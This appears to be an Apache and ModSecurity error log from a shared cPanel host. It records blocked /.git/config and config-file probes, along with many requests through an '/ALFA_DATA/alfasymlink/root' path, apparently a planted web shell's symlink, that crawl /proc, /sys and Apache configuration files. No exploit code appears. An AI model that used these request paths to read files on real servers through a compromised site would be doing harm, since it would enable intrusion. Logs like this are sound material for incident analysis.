[Tue Oct 27 10:34:12.116536 2026] [core:error] [pid 3238315:tid 3238315] (13)Permission denied: [client 52.54.249.218:52167] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/subsystem/devices/memory8/node0/subsystem/uevent
[Tue Oct 27 10:34:19.665056 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 52.22.87.224:55975] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:34:39.855365 2026] [core:error] [pid 3250097:tid 3250097] (13)Permission denied: [client 52.203.68.145:8776] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:04/physical_node/rescan
[Tue Oct 27 10:34:43.732131 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 3.218.103.254:14593] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:34:51.739942 2026] [ssl:error] [pid 3248370:tid 3248370] (70014)End of file found: [client 52.45.77.169:8344] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:34:55.782100 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 54.210.152.179:62337] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:35:03.719278 2026] [ssl:error] [pid 3248370:tid 3248370] (70014)End of file found: [client 44.196.118.6:33170] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:35:07.940211 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 54.210.155.69:38930] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:35:11.902515 2026] [ssl:error] [pid 3250259:tid 3250259] (70014)End of file found: [client 34.196.237.236:62560] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:35:15.646857 2026] [authz_core:error] [pid 3248370:tid 3248370] [client 196.251.121.75:62717] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 10:35:16.188333 2026] [security2:error] [pid 3245436:tid 3245436] [client 196.124.209.143:52752] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/categorias/salones-para-fiestas"] [unique_id "auC2pET-nkC2k8zcLn8VkgAAAAE"], referer: https://sherwinpinturas.com/debug_aguascalientes_1.html
[Tue Oct 27 10:35:16.338161 2026] [security2:error] [pid 3243694:tid 3243694] [client 85.208.96.194:47604] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/aef/php71/import.php"] [unique_id "auC2pGHsBjCWf-OodEyOhwAAAAs"]
[Tue Oct 27 10:35:16.338199 2026] [security2:error] [pid 3243694:tid 3243694] [client 85.208.96.194:47604] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/aef/php71/import.php"] [unique_id "auC2pGHsBjCWf-OodEyOhwAAAAs"]
[Tue Oct 27 10:35:19.897043 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 52.54.157.23:47450] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:35:43.349169 2026] [security2:error] [pid 3238311:tid 3238311] [client 34.182.233.93:37334] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auC2v8YLThtfGXx9Tuqy-QAAAAc"]
[Tue Oct 27 10:35:43.349401 2026] [security2:error] [pid 3238311:tid 3238311] [client 34.182.233.93:37334] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auC2v8YLThtfGXx9Tuqy-QAAAAc"]
[Tue Oct 27 10:35:43.349704 2026] [security2:error] [pid 3238311:tid 3238311] [client 34.182.233.93:37334] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auC2v8YLThtfGXx9Tuqy-QAAAAc"]
[Tue Oct 27 10:35:43.576083 2026] [security2:error] [pid 3249971:tid 3249971] [client 34.182.233.93:37354] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auC2v_m8_YANS3PMbeYXQAAAAAI"]
[Tue Oct 27 10:35:43.576271 2026] [security2:error] [pid 3249971:tid 3249971] [client 34.182.233.93:37354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auC2v_m8_YANS3PMbeYXQAAAAAI"]
[Tue Oct 27 10:35:43.576669 2026] [security2:error] [pid 3249971:tid 3249971] [client 34.182.233.93:37354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auC2v_m8_YANS3PMbeYXQAAAAAI"]
[Tue Oct 27 10:35:45.299788 2026] [security2:error] [pid 3238315:tid 3238315] [client 16.216.88.122:40960] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/035_mod_auth_basic.conf"] [unique_id "auC2wXRXwUv1lMzx7uqwbwAAAA0"]
[Tue Oct 27 10:35:45.300265 2026] [security2:error] [pid 3238315:tid 3238315] [client 16.216.88.122:40960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/035_mod_auth_basic.conf"] [unique_id "auC2wXRXwUv1lMzx7uqwbwAAAA0"]
[Tue Oct 27 10:35:45.300608 2026] [security2:error] [pid 3238315:tid 3238315] [client 16.216.88.122:40960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/035_mod_auth_basic.conf"] [unique_id "auC2wXRXwUv1lMzx7uqwbwAAAA0"]
[Tue Oct 27 10:35:47.839821 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 34.195.248.30:55198] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:35:51.496929 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 85.208.96.194:29904] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:35:51.908128 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 54.235.172.108:5095] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:36:00.174980 2026] [ssl:error] [pid 3249971:tid 3249971] (70014)End of file found: [client 44.197.76.210:12480] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:36:07.852499 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 3.89.176.255:51645] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:36:19.884563 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 44.218.170.184:44417] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:36:23.794701 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 34.224.132.215:7245] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:36:35.864446 2026] [ssl:error] [pid 3249989:tid 3249989] (70014)End of file found: [client 52.6.232.201:59560] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:36:39.728254 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 34.234.197.175:16117] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:36:44.311886 2026] [core:error] [pid 3243694:tid 3243694] (13)Permission denied: [client 52.204.37.237:37834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/drm/card0/device/driver/uevent
[Tue Oct 27 10:36:51.914139 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 98.83.94.113:57670] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:36:55.698998 2026] [ssl:error] [pid 3249989:tid 3249989] (70014)End of file found: [client 44.205.120.22:35868] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:36:59.659296 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 3.93.211.16:65331] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:37:11.785713 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 98.83.177.42:57647] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:37:25.342924 2026] [core:error] [pid 3243694:tid 3243694] (13)Permission denied: [client 185.191.171.14:16146] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_ctx/order
[Tue Oct 27 10:37:31.773365 2026] [ssl:error] [pid 3245635:tid 3245635] (70014)End of file found: [client 100.28.44.58:60071] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:37:35.782288 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 54.157.84.74:28974] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:37:39.921902 2026] [ssl:error] [pid 3249971:tid 3249971] (70014)End of file found: [client 52.202.233.37:9088] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:37:46.202148 2026] [authz_core:error] [pid 3245635:tid 3245635] [client 62.133.46.18:6866] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 10:37:46.750082 2026] [core:crit] [pid 3248370:tid 3248370] (13)Permission denied: [client 62.133.46.18:6946] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 10:37:47.778963 2026] [core:crit] [pid 3249971:tid 3249971] (13)Permission denied: [client 62.133.46.18:7101] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 10:37:51.663571 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 52.45.77.169:61859] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:37:59.654092 2026] [ssl:error] [pid 3248370:tid 3248370] (70014)End of file found: [client 107.20.181.148:32418] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:38:12.010134 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 3.224.215.150:9001] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:38:14.369657 2026] [security2:error] [pid 3249204:tid 3249204] [client 64.20.54.226:34568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "casarin1.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/4M9Q56HIJEXO_JIQ02V8_45X1FHZVUZJ"] [unique_id "auC3Vgab8Q6c3Z8MLTxA1QAAABI"]
[Tue Oct 27 10:38:14.369694 2026] [security2:error] [pid 3249204:tid 3249204] [client 64.20.54.226:34568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "casarin1.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/4M9Q56HIJEXO_JIQ02V8_45X1FHZVUZJ"] [unique_id "auC3Vgab8Q6c3Z8MLTxA1QAAABI"]
[Tue Oct 27 10:38:19.978045 2026] [ssl:error] [pid 3250259:tid 3250259] (70014)End of file found: [client 34.230.124.21:34565] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:38:23.881691 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 52.3.127.170:38330] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:38:31.908680 2026] [security2:error] [pid 3249204:tid 3249204] [client 154.80.85.83:55436] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/resultados/medicos-oculistas-y-oftalmologos/1"] [unique_id "auC3Zwab8Q6c3Z8MLTxA2AAAABI"], referer: https://sherwinpinturas.com/debug_aguascalientes_1.html
[Tue Oct 27 10:38:32.045894 2026] [ssl:error] [pid 3249971:tid 3249971] (70014)End of file found: [client 35.168.238.50:52544] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:38:35.753163 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 34.224.132.215:55565] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:38:51.763382 2026] [ssl:error] [pid 3250259:tid 3250259] (70014)End of file found: [client 52.44.174.136:51477] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:38:52.040086 2026] [authz_core:error] [pid 3240911:tid 3240911] [client 80.94.92.16:55096] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 10:38:52.042016 2026] [authz_core:error] [pid 3238477:tid 3238477] [client 80.94.92.16:55112] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 10:38:59.523846 2026] [core:error] [pid 3245436:tid 3245436] (13)Permission denied: [client 85.208.96.211:49478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/cpu_slabs
[Tue Oct 27 10:39:05.459606 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 44.207.207.36:50067] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:39:11.995407 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 54.235.172.96:45132] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:39:15.976417 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 18.213.102.186:24117] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:39:20.255475 2026] [core:error] [pid 3245698:tid 3245698] (13)Permission denied: [client 184.73.47.24:33425] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/driver/module/uevent
[Tue Oct 27 10:39:20.256051 2026] [security2:error] [pid 3245698:tid 3245698] [client 184.73.47.24:33425] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/driver/module/uevent"] [unique_id "auC3mBXBYmBHrjfyUDsM_gAAAAU"]
[Tue Oct 27 10:39:20.256082 2026] [security2:error] [pid 3245698:tid 3245698] [client 184.73.47.24:33425] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/driver/module/uevent"] [unique_id "auC3mBXBYmBHrjfyUDsM_gAAAAU"]
[Tue Oct 27 10:39:23.808246 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 184.72.84.154:34137] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:39:27.865483 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 35.170.205.140:42310] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:39:47.771504 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 34.194.14.255:30972] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:39:51.949590 2026] [security2:error] [pid 3246019:tid 3246019] [client 107.172.76.131:60004] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC3rSuRyqQjBmRbW2sNyAAAAAw"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 10:39:51.949636 2026] [security2:error] [pid 3246019:tid 3246019] [client 107.172.76.131:60004] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC3rSuRyqQjBmRbW2sNyAAAAAw"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 10:39:55.741397 2026] [ssl:error] [pid 3249989:tid 3249989] (70014)End of file found: [client 3.212.86.97:51911] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:40:00.713479 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 44.207.207.36:24543] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:40:11.785522 2026] [core:error] [pid 3250097:tid 3250097] (13)Permission denied: [client 18.215.49.176:19319] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/PNP0303:00/subsystem/uevent
[Tue Oct 27 10:40:16.116364 2026] [ssl:error] [pid 3250259:tid 3250259] (70014)End of file found: [client 23.21.225.190:52337] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:40:32.275889 2026] [security2:error] [pid 3250259:tid 3250259] [client 185.191.171.13:27388] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/man/uk/man5/"] [unique_id "auC34NlUkdCQaUKCRLpyIQAAABU"]
[Tue Oct 27 10:40:32.275936 2026] [security2:error] [pid 3250259:tid 3250259] [client 185.191.171.13:27388] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/man/uk/man5/"] [unique_id "auC34NlUkdCQaUKCRLpyIQAAABU"]
[Tue Oct 27 10:40:35.993259 2026] [core:error] [pid 3245436:tid 3245436] (13)Permission denied: [client 98.82.66.172:3539] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu1/driver/cpu0/crash_notes_size
[Tue Oct 27 10:40:47.857012 2026] [ssl:error] [pid 3250159:tid 3250159] (70014)End of file found: [client 184.73.195.18:39807] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:40:52.030707 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 52.45.194.165:43622] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:40:55.915806 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 52.70.138.176:58790] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:41:03.726009 2026] [core:error] [pid 3250159:tid 3250159] (13)Permission denied: [client 34.195.248.30:12668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory23/node0/memory4/subsystem/drivers_probe
[Tue Oct 27 10:41:04.778823 2026] [security2:error] [pid 3248370:tid 3248370] [client 107.172.76.131:60073] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC39FJnDX0Ls8UTr5l1dwAAAA4"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:41:04.778883 2026] [security2:error] [pid 3248370:tid 3248370] [client 107.172.76.131:60073] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC39FJnDX0Ls8UTr5l1dwAAAA4"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:41:07.708099 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 3.81.253.213:42383] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:41:13.445491 2026] [security2:error] [pid 3246081:tid 3246081] [client 107.172.76.131:59994] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC3_NahGwae8XSvsxsmwgAAAAo"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:41:13.445565 2026] [security2:error] [pid 3246081:tid 3246081] [client 107.172.76.131:59994] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC3_NahGwae8XSvsxsmwgAAAAo"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:41:16.052346 2026] [ssl:error] [pid 3238315:tid 3238315] (5)Input/output error: [client 100.28.49.152:28442] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:41:31.992391 2026] [core:error] [pid 3250159:tid 3250159] (13)Permission denied: [client 100.28.57.133:35894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory10/node0/memory4/subsystem/drivers_probe
[Tue Oct 27 10:41:40.291582 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 54.162.69.192:45392] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:41:47.930592 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 50.16.216.166:22715] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:42:03.920566 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 3.220.148.166:46212] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:42:12.066250 2026] [ssl:error] [pid 3250159:tid 3250159] (70014)End of file found: [client 184.73.239.35:11499] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:42:27.820478 2026] [core:error] [pid 3238313:tid 3238313] (13)Permission denied: [client 44.221.105.234:15103] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:1f/subsystem/devices/device:05/subsystem/uevent
